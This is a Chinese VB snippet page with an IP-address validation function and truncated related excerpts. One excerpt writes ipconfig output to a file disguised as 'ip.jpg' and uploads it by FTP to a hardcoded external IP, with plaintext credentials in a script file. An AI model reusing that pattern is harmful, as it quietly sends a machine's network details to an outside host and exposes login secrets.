VB检查合法IP地址
Public Function IsValidIPAddress(ByVal strIPAddress As String) As Boolean
On Error GoTo Handler
Dim varAddress As Variant, n As Long, lCount As Long
varAddress = Split(strIPAddress, ".", , vbTextCompare)
If IsArray(varAddress) Then
For n = LBound(varAddress) To UBound(varAddress)
lCount = lCount + 1
varAddress(n) = CByte(varAddress(n))
Next
IsValidIPAddress = (lCount = 4)
Else
IsValidIPAddress = False
End If
Handler:
End Function
相关文档:
Option Explicit
Private Type BROWSEINFO
hOwner As Long
pidlRoot As Long
pDisplayName As String
lpTitle As String
ulFlags As Long
lpfn As Long
lParam As Long
iImage As Long
End Type
Private Declare Function SHGetPathfromIDList Lib "shell32.dll" Alias _
"SHGetPa ......
最近刚学会在VB2008 中使用参数化SQL语句,于是马上用到代码中,却碰到查不到任何数据的情况,纠结了好几天,还是没有搞明白,差点吐血。不得已还是先在代码中使用字符串拼接的SQL语句。
包含参数化SQL语句的代码如下:
Dim cmSl As N ......
Private Declare Function ClipCursor Lib "user32" (lpRect As Any) As Long
Private Type RECT
Left As Long
Top As Long
Right As Long
Bottom As Long
End Type
Private Sub Command1_Click() '锁定鼠标 到某一位置
......
ftp.txt文件内容为:
open 211.118.1.70
dongping
sh12345
put ip.jpg
bye
VB内容为:
Private Sub Command1_Click()
Shell "cmd.exe /c ipconfig >ip.jpg"
Shell "cmd.exe /c ftp -s:ftp.txt"
End Sub ......
发送端以163为例
一、asp.net版 using System.Web.Mail; //命名空间引用
c#
MailMessage mail = new MailMessage();
mail.To = "shadow103@qq.com"; //接受人的邮箱
& ......